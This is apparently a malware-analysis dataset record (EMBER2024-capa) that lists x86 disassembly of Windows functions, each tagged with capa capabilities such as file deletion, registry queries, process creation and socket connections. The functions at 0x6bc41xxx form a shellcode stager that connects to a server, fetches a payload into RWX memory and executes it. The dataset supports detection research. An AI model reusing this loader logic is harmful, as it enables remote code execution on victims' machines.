joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ec3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
lea eax, [ebp - 0x120]
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
ja 0x405efd
test eax, eax
je 0x405efd
lea eax, [ebp + eax - 0x120]
cmp byte [eax - 1], 0x5c
je 0x405f03
mov ecx, 0x4082a0
jmp 0x405f08
lea eax, [ebp - 0x120]
mov ecx, 0x4082a1
push dword [ebp + 8]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x405f5e
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x405f81
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405ff1
pop ecx
pop ecx
inc dword [0x42f1b0]
ret 8

Function at 0x405ff1
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
mov ebx, 0x400
mov dword [0x42c5a0], 0x4c554e
mov ebp, 0x42c5a0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
je 0x40603d
push 1
push 0
push esi
call fcn.00406593
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebp
push esi
call edi
test eax, eax
je 0x40611d
cmp eax, ebx
jg 0x40611d
push ebx
mov esi, 0x42c1a0
push esi
push dword [esp + 0x1c]
call edi
test eax, eax
je 0x40611d
cmp eax, ebx
jg 0x40611d
push esi
push ebp
push str._s_s_r_n
push 0x42bda0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x42f0f0]
add esp, 0x10
mov ebp, eax
push dword [ecx + 0x128]
push esi
call fcn.00405bd6
push 4
push 0xc0000000
push esi
call fcn.00406593
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40611d
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [ebp + 0xa]
add ecx, esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x406116
push esi
push edi
push ebx
call fcn.004065c0
test eax, eax
je 0x406116
push str._Rename__r_n
push edi
call fcn.0040679f
test eax, eax
jne 0x406122
push str._Rename__r_n
lea eax, [edi + esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esi, 0xa
mov ecx, esi
push ebp
push 0x42bda0
lea eax, [ecx + edi]
push eax
call fcn.00406311
xor eax, eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esi + ebp]
push eax
push edi
push ebx
call fcn.0040667f
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x408714
add eax, 0xa
push eax
call fcn.0040679f
mov ecx, eax
test ecx, ecx
je 0x4060e7
lea edx, [edi + esi]
jmp 0x406141
mov al, byte [edx]
mov byte [edx + ebp], al
dec edx
cmp edx, ecx
ja 0x40613b
sub ecx, edi
inc ecx
jmp 0x4060e9
Function at 0x4061ec
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
call fcn.00406806
mov edi, eax
cmp edi, 0xffffffff
je 0x40622f
test byte [ebp + 0xc], 1
push dword [ebp + 8]
je 0x406210
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x406216
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40621f
xor eax, eax
inc eax
jmp 0x406231
test byte [ebp + 0xc], 4
jne 0x40622f
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop ebp
ret 8

Function at 0x40629a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [esp + 0xc]
mov ebx, 0x42b9a0
push ebx
call fcn.00406783
push ebx
call fcn.0040682e
mov esi, eax
test esi, esi
je 0x40630a
push esi
call fcn.00406966
test byte [0x42f0ec], 0x80
je 0x4062d0
mov al, byte [esi]
test al, al
je 0x40630a
cmp al, 0x5c
je 0x40630a
sub esi, ebx
jmp 0x4062e8
call fcn.00406236
test eax, eax
je 0x4062e2
test byte [eax], 0x10
je 0x40630a
push ebx
call fcn.0040693b
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
cmp eax, esi
jg 0x4062d4
call fcn.004061bf
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40630a
xor eax, eax
inc eax
jmp 0x40630c
xor eax, eax
pop esi
pop ebx
ret 4

Function at 0x406333
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x42b558], 0x44
lea eax, [ebp - 0x10]
push eax
push 0x42b558
xor eax, eax
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406372
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4
Function at 0x406376
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x150
push ebx
mov ebx, dword [esp + 0x15c]
push esi
mov esi, dword [esp + 0x15c]
push edi
mov edi, ebx
push esi
and edi, 4
call fcn.0040629a
mov dword [esp + 0x18], eax
test bl, 8
je 0x4063b8
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42f1a8], eax
jmp 0x406552
push ebp
mov ebp, ebx
and ebp, 1
mov dword [esp + 0x18], ebp
je 0x4063d5
test eax, eax
je 0x406541
test bl, 2
je 0x40650b
push esi
push 0x42b5a0
call fcn.00406783
test ebp, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x4063f8
push str..
push 0x42b5a0
call ebp
jmp 0x4063fe
push esi
call fcn.0040693b
cmp byte [esi], 0
jne 0x40640c
cmp byte [0x42b5a0], 0x5c
jne 0x406414
push 0x4082a0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [esi + eax]
lea eax, [esp + 0x20]
mov dword [esp + 0x10], ebp
push eax
push 0x42b5a0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4064f9
lea ebp, [esp + 0x4c]
push 0x3f
mov eax, ebp
push eax
call fcn.0040625d
cmp byte [eax], 0
je 0x406466
cmp byte [esp + 0x150], 0
lea eax, [esp + 0x150]
cmove eax, ebp
mov ebp, eax
cmp byte [ebp], 0x2e
jne 0x40647d
mov al, byte [ebp + 1]
test al, al
je 0x4064d4
cmp al, 0x2e
jne 0x40647d
cmp byte [ebp + 2], 0
je 0x4064d4
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call fcn.00406783
test byte [esp + 0x20], 0x10
je 0x4064a1
mov eax, ebx
and eax, 3
cmp al, 3
jne 0x4064d8
push ebx
push esi
call fcn.00406376
jmp 0x4064d8
push edi
push esi
call fcn.004061ec
test eax, eax
jne 0x4064ca
test edi, edi
je 0x4064c2
push esi
push 0xfffffffffffffff1
call fcn.00405a12
push 0
push esi
call fcn.00405f5e
jmp 0x4064d8
inc dword [0x42f1a8]
jmp 0x4064d8
push esi
push 0xfffffffffffffff2
call fcn.00405a12
jmp 0x4064d8
mov ebp, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40643f
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [esp + 0x18], 0
je 0x406551
cmp dword [esp + 0x1c], 0
mov byte [ebp - 1], 0
je 0x406541
push esi
call fcn.00406236
test eax, eax
je 0x406551
push esi
call fcn.004061bf
mov eax, edi
or eax, 1
push eax
push esi
call fcn.004061ec
test eax, eax
jne 0x406549
test edi, edi
je 0x406541
push esi
push 0xfffffffffffffff1
call fcn.00405a12
push 0
push esi
call fcn.00405f5e
jmp 0x406551
inc dword [0x42f1a8]
jmp 0x406551
push esi
push 0xffffffffffffffe5
call fcn.00405a12
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x150
ret 8

Function at 0x406593
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
push 0
cmove eax, ecx
push eax
push dword [esp + 0x14]
push ecx
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc
Function at 0x4065ef
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405fc3
mov edi, dword [ebp + 0x14]
test eax, eax
jne 0x40665f
push esi
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp + 0x18]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov byte [edi + 0x3ff], 0
pop esi
jne 0x40665f
cmp dword [ebp + 0x18], 1
je 0x406662
cmp dword [ebp + 0x18], 2
je 0x406662
mov byte [edi], 0
pop edi
leave
ret 0x14

Function at 0x406667
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x4066ca
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
add byte [ebp + 0xa], dl
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x406709
test edi, edi
jne 0x4066d5
mov byte [esi], al
jmp 0x40670b
mov eax, esi
pop edi
pop esi
pop ebp
ret 8

Function at 0x406806
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406828
mov ecx, esi
and ecx, 0xfffffffe
push ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x406a43
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42cae4], 0
push esi
jne 0x406a7d
xor ecx, ecx
push 8
mov edx, ecx
pop esi
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
sub esi, 1
jne 0x406a54
mov dword [ecx*4 + 0x42cae0], edx
inc ecx
cmp ecx, 0x100
jl 0x406a4f
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
not ecx
test edx, edx
je 0x406aa7
mov esi, dword [esp + 0xc]
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x42cae0]
inc esi
sub edx, 1
jne 0x406a8f
not ecx
mov eax, ecx
pop esi
ret 0xc
Function at 0x449a00
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x14
push esi
push edi
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
push 0x84ce50
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x14
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 1
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test edi, edi
je 0x449a70
mov edx, dword [0x64cd40]
push 0x64ca58
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.GlobalMuendo_651
push 0
lea eax, [esp + 0x18]
push 1
push eax
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
mov dword [0x64cd3c], eax
pop esi
add esp, 0x14
ret
Function at 0x6bc415a8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x6bc41615
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x6bc41615
mov dword [esp + 4], str.no_data
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x6bc415c4
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6bc41622
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6bc41665
mov dword [esp + 4], 0x6bc49057
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6bc41691
mov dword [esp + 4], 0x6bc49059
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x6bc4170c
mov dword [esp + 4], 0x6bc4905c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6bc41711
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call fcn.6bc418d0
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
call sym.lino.dll_winsock_init
mov dword [esp], sym.lino.dll_serverp
call sub.msvcrt.dll_atoi
mov dword [esp + 4], eax
mov dword [esp], sym.lino.dll_server
call sym.lino.dll_wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x6bc41789
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x6bc4179c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_lenght_n
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6bc417e3
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_in_buf_n
mov dword [esp], eax
call sym.lino.dll_punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.lino.dll_recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x6bc419f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.6bc478f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.6bc478f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x6bc41a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6bc4b048]
test esi, esi
jle 0x6bc41b70
mov eax, dword [0x6bc4b04c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x6bc41a84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6bc41b07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6bc41a70
mov dword [esp], ebx
call fcn.6bc421c0
mov edi, eax
test eax, eax
je 0x6bc41b97
mov eax, dword [0x6bc4b04c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.6bc422d0
mov edx, dword [0x6bc4b04c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6bc41b77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6bc41b00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x6bc41b10
add dword [0x6bc4b048], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6bc4b04c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6bc41b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6bc419f0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x6bc41a8e
mov eax, dword [0x6bc4b04c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6bc419f0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6bc419f0
lea esi, [esi]
nop

Function at 0x6bc41e30
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6bc4b058
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6bc4b050]
sub esp, 4
test ebx, ebx
je 0x6bc41e85
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6bc41e7e
test esi, esi
je 0x6bc41e7e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6bc41e60
mov dword [esp], 0x6bc4b058
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x406b10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x406b3b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004079c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x406b5d
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x406b5f
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x406be3
jg 0x406b74
test esi, esi
je 0x406be3
test ecx, ecx
jl 0x406bbd
jg 0x406b7e
test eax, eax
je 0x406bbd
cmp edi, ecx
jg 0x406b92
jl 0x406b88
cmp esi, eax
jae 0x406b92
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.0044cad0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x406bc0
mov edx, dword [ebp + 8]
test edi, edi
jl 0x406be3
jg 0x406bca
test esi, esi
je 0x406be3
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x406be3
push eax
push esi
push 1
push edx
call fcn.00458a90
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406c00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x406c2b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407aa0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [edi + 0x1c]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x406c4d
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x406c4f
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test ebx, ebx
jl 0x406cee
jg 0x406c6c
test esi, esi
je 0x406cee
test ecx, ecx
jl 0x406cb9
jg 0x406c76
test eax, eax
je 0x406cb9
cmp ebx, ecx
jg 0x406c8a
jl 0x406c80
cmp esi, eax
jae 0x406c8a
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ebx
push eax
push dword [esp + 0x18]
push dword [ebp + 8]
call fcn.0044cad0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edi + 0x2c]
add edx, ecx
sub esi, ecx
mov dword [esp + 0xc], edx
sbb ebx, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x406cc0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
test ebx, ebx
jl 0x406cee
jg 0x406cca
test esi, esi
je 0x406cee
cmp dword [edi + 0x4c], 0
je 0x406cee
mov ecx, edi
call fcn.00408ce0
push dword [edi + 0x4c]
push esi
push 1
push dword [esp + 0x18]
call fcn.0045919e
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
pop edi
pop esi
sbb edx, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc